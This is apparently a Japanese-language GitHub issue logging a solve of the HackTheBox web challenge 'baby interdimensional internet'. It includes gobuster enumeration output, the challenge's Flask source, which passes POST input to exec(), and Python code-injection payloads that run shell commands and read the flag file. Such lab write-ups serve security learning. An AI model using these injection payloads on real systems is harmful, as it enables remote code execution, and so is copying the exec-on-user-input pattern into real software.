roaris / ctf-log

0 stars 0 forks source link

HackTheBox: baby interdimensional internet (Web) #28

Open roaris opened 4 months ago

roaris commented 4 months ago

https://app.hackthebox.com/challenges/baby%2520interdimensional%2520internet

roaris commented 4 months ago

数字が表示されるだけのアプリケーション 全く手掛かりがないのでgobusterをすると、/debugがあることが分かった

$ gobuster dir --url http://94.237.62.195:55919 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://94.237.62.195:55919
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/debug                (Status: 200) [Size: 1171]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================
roaris commented 4 months ago

/debugにアクセスすると、コードが見れた execを使っているのが怪しそう

from flask import Flask, Response, request, render_template, request
from random import choice, randint
from string import lowercase
from functools import wraps

app = Flask(__name__)

def calc(recipe):
    global garage
    garage = {}
    try: exec(recipe, garage)
    except: pass

def GCR(func): # Great Calculator of the observable universe and it's infinite timelines
    @wraps(func)
    def federation(*args, **kwargs):
        ingredient = ''.join(choice(lowercase) for _ in range(10))
        recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))

        if request.method == 'POST':
            ingredient = request.form.get('ingredient', '')
            recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))

        calc(recipe)

        if garage.get(ingredient, ''):
            return render_template('index.html', calculations=garage[ingredient])

        return func(*args, **kwargs)
    return federation

@app.route('/', methods=['GET', 'POST'])
@GCR
def index():
    return render_template('index.html')

@app.route('/debug')
def debug():
    return Response(open(__file__).read(), mimetype='text/plain')

if __name__ == '__main__':
    app.run('0.0.0.0', port=1337)
roaris commented 4 months ago

簡単にするとこうなる(string.lowercaseは見つからなかった)

from random import choice, randint
ingredient = 'abcdefghij'
recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))
garage = {}
exec(recipe, garage)
calculations = garage[ingredient]
print(calculations) # 110

eval, execの説明 https://qiita.com/kyoshidajp/items/57ae371b3f5d8a84fb13

roaris commented 4 months ago

POSTパラメータでingredientとmeasurementsを指定すれば、自由にコードを実行できる os.systemではコマンドの実行結果を取得出来ないので、subprocess.runを使う x = 0; import subprocess; x = subprocess.run(['ls'], encoding='utf-8', stdout=subprocess.PIPE).stdoutを実行するようにしてみたが、なぜか上手くいかない(レスポンス中にコマンドの実行結果がない)

image

roaris commented 4 months ago

色々やっていると、x = 0; import os; x = os.system('ls > tmp.txt'); x = open('tmp.txt').read()なら上手くいった

image

x = 0; x = open('flag').read()でフラグが出力される

roaris commented 4 months ago

他の人のwriteup https://s-3ntinel.github.io/hackthebox/challenges/web/baby_interdimensional_internet/baby_interdimensional_internet.html

x = __import__('os').popen('ls').read() popenとreadを組み合わせて解いている また、importではなく、importを使っているので、簡潔

gobusterもする必要なかった